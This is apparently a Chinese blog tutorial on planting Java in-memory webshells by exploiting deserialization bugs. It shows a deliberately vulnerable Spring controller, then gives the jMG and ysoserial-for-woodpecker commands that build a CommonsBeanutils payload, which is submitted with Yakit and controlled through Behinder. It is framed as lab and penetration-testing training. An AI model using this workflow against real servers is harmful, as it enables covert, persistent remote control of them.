java反序列化漏洞注入内存马

一、简介

jMG (Java Memshell Generator) 是一款支持高度自定义的 java 内存马生成工具,可作为 woodpecker 的插件使用,提供常见中间件的内存马注入支持。

功能介绍

  • 支持的中间件 (Tomcat/Resin/Jetty/WebLogic/WebSphere/Undertow/GlassFish/Spring)
  • 支持的网站管理工具 (Behinder/Godzilla/Custom)
  • 支持的内存马类型 (Filter/Listener/Interceptor)
  • 支持的输出格式 (BASE64/BCEL/CLASS/JS/JSP/JAR/BIGINTEGER)
  • 支持的辅助模块 (探测目标中间件/序列化数据封装)

模块划分
 

  • 内存马生成模块
    • Behinder、Godzilla
    • Custom
      • 注入自定义的Filter和Listener,常见场景:其他网站管理工具的服务端、内存代理、内存水坑等
  • 辅助模块
    • ServerType Detector 中间件探测器
      • 探测中间件信息,常见场景:SpringBoot Fatjar
      • 提供 4 种方式判断目标中间件 (DFSEcho/Sleep/DNSLog/HTTPLog)
    • Ysoserial Payload Generator
      • 基于 ysoserial-for-woodpecker 对反序列化漏洞利用提供支持、提高漏洞利用效率

参数说明
 

参数名称

参数说明

其他

server_type

选择中间件的类型


 

shell_type

选择内存马的类型


 

gadget_type

选择利用链的类型

根据gadget自动完成对class的特殊处理,如继承类、实现接口、添加注解

format_type

输出格式


 

更多参数 - 参数自定义

从 github 仓库下载 jMG.jar 并放在 woodpecker 的 plugin 子目录下即可

下载的地址 https://github.com/pen4uin/java-memshell-generator/

二.中间件覆盖情况


 

godzilla-listener

godzilla-filter

behinder-listener

behinder-filter

tomcat 9.0.39

tomcat 8.5.53

tomcat 7.0.59

tomcat 6.0.48

tomcat 5.5.36

jetty 9.4.43

jetty 8.2.0

jetty 7.6.0

resin 4.0.66

resin 3.1.15

weblogic 10.3.6

weblogic 12.1.3

websphere 8.5.5

websphere 9.0.0

注:以上测试结果仅供参考

三、单独使用工具

也可以直接使用这个工具  

使用jdk8打开工具

"C:\Program Files\Java\jdk1.8.0_202\bin\java.exe" -jar jmg-all-1.0.9_250101.jar gui

四、注入内存马

1.启动靶场 这份代码存在反序列化漏洞

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletRequest;
import java.io.ObjectInputStream;

@Controller
public class Deserilizer {
    @ResponseBody
    @RequestMapping("/deser")
    public String deser(HttpServletRequest request) throws Exception {

        try {
            new ObjectInputStream(request.getInputStream()).readObject();
            return "Deserilizer successful";
        }catch(Exception e) {

            return "Deserilizer failed"+e.getMessage();
        }

    }
}

2.检测利用链

使用yakit的检测反序列化利用链

查看dnslog存在的 CommonsBeanutils1_183 链子 

使用jmg生成内存马

请把jdk_abstractranslet勾上

接着使用 ysoserial-for-woodpecker-0.5.2.jar 反序列化利用利用生成payload

下载地址 https://github.com/woodpecker-framework/ysoserial-for-woodpecker

java -jar ysoserial-for-woodpecker-0.5.2.jar -g CommonsBeanutils2_183 -a "class_file:C:\Users\moon\Documents\SerializationUtil.class" >ser.bin

使用yakit将生成的ser.bin进行提交

使用Behinder链接 填写对应的连接密码和信息

下载地址 https://github.com/rebeyond/Behinder/

连接成功

参考文章 

https://mp.weixin.qq.com/s/oAiGWY9ABhn2o148snA_sg

想系统学习渗透测试?扫码报名培训课程!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值